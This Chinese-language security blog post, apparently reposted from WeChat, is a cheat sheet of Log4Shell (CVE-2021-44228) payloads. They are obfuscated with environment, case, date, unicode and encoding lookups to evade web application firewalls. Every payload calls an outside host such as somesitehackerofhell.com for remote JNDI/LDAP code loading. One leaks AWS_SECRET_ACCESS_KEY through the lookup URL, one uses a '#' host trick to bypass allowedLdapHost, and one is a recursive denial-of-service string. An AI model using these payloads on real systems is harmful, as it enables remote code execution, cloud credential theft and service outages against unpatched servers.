Log4j一些WAF绕过技巧

admin 2023年3月10日08:13:54评论10 views字数 1794阅读5分58秒阅读模式

0x00 前言

CVE-2021-44228

log4j:2.0 <= Apache log4j <= 2.14.1

patched of  Java version:6u211+7u201+8u191+11.0.1+

基本Payload:

${jndi:ldap://dnslog.cn/a}

0x02 绕过

2.1 系统环境变量

${${env:ENV_NAME:-j}ndi${env:ENV_NAME:-:}${env:ENV_NAME:-l}dap${env:ENV_NAME:-:}//somesitehackerofhell.com/z}

Apache Log4j2 文档 ${env:ENV_NAME:-default_value}

如果 系统环境变量 ENV_NAME 不可用,则使用 :- 之后的内容。你可以使用任意字符串替代 ENV_NAME,只要它是不存在的。

当然,你也可以读取环境变量的值,比如云服务上的环境变量 AWS_SECRET_ACCESS_KEY

${jndi:ldap://somesitehackerofhell.com/z?leak=${env:AWS_SECRET_ACCESS_KEY:-NO_EXISTS}}

查看环境变量:

  • Windows 上 PowerShell:dir env
  • MacOS/Linux 上 Terminal:prinyent or env

2.2 大小写

${${lower:j}ndi:${lower:l}${lower:d}a${lower:p}://somesitehackerofhell.com/z}
${${upper:j}ndi:${upper:l}${upper:d}a${lower:p}://somesitehackerofhell.com/z}

2.3 "::-"符号

${${::-j}${::-n}${::-d}${::-i}:${::-l}${::-d}${::-a}${::-p}://somesitehackerofhell.com/z}

2.4 无效的unicode字符

${jnd${upper:ı}:ldap://somesitehackerofhell.com/z}

2.5 系统属性

${jnd${sys:SYS_NAME:-i}:ldap:/somesitehackerofhell.com/z}

2.6 ":-"符号

${j${${:-l}${:-o}${:-w}${:-e}${:-r}:n}di:ldap://somesitehackerofhell.com/z}

2.7 Date

${${date:'j'}${date:'n'}${date:'d'}${date:'i'}:${date:'l'}${date:'d'}${date:'a'}${date:'p'}://somesitehackerofhell.com/z}

Java 日期格式转换,将YYYY转换为2021,同时它将'YYYY'转换为 YYYY

2.8 URL编码

} -> %7D
{ -> %7B
$ -> %24

2.9 不存在的lookup

${${what:ever:-j}${some:thing:-n}${other:thing:-d}${and:last:-i}:ldap://somesitehackerofhell.com/z}

2.10 "分块"

# JSON REST API request
{
    "one-${jnd${a":"a:-i}:ld${",
    "two":"o:-a}p://somesitehackerofhell.com/z}
}

2.11 Unicode编码

${u006au006eu0064u0069:ldap://dnslog.cn/a}

2.12 "#"

# log4j 2.15
${jndi:ldap://127.0.0.1#somesitehackerofhell.com/z}

绕过allowedLdapHostallowedClasses检查。java.net.URI getHost()方法返回#之前的值作为真正的host。但是JNDI/LDAP解析器将解析为连接到恶意LDAP服务器上。

2.13 DOS

# log4j 2.8 - 2.16
${${::-${::-$${::-j}}}}

2.14 PDF

其他文件自由发挥

Log4j一些WAF绕过技巧
Log4j一些WAF绕过技巧


原文始发于微信公众号(小宝的安全学习笔记):Log4j一些WAF绕过技巧

特别标注: 本站(CN-SEC.COM)所有文章仅供技术研究,若将其信息做其他用途,由用户承担全部法律及连带责任,本站不承担任何法律及连带责任,请遵守中华人民共和国安全法.
  • 我的微信
  • 微信扫一扫
  • weinxin
  • 我的微信公众号
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2023年3月10日08:13:54
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                  Log4j一些WAF绕过技巧 http://cn-sec.com/archives/1594747.html

发表评论

匿名网友 填写信息

:?: :razz: :sad: :evil: :!: :smile: :oops: :grin: :eek: :shock: :???: :cool: :lol: :mad: :twisted: :roll: :wink: :idea: :arrow: :neutral: :cry: :mrgreen: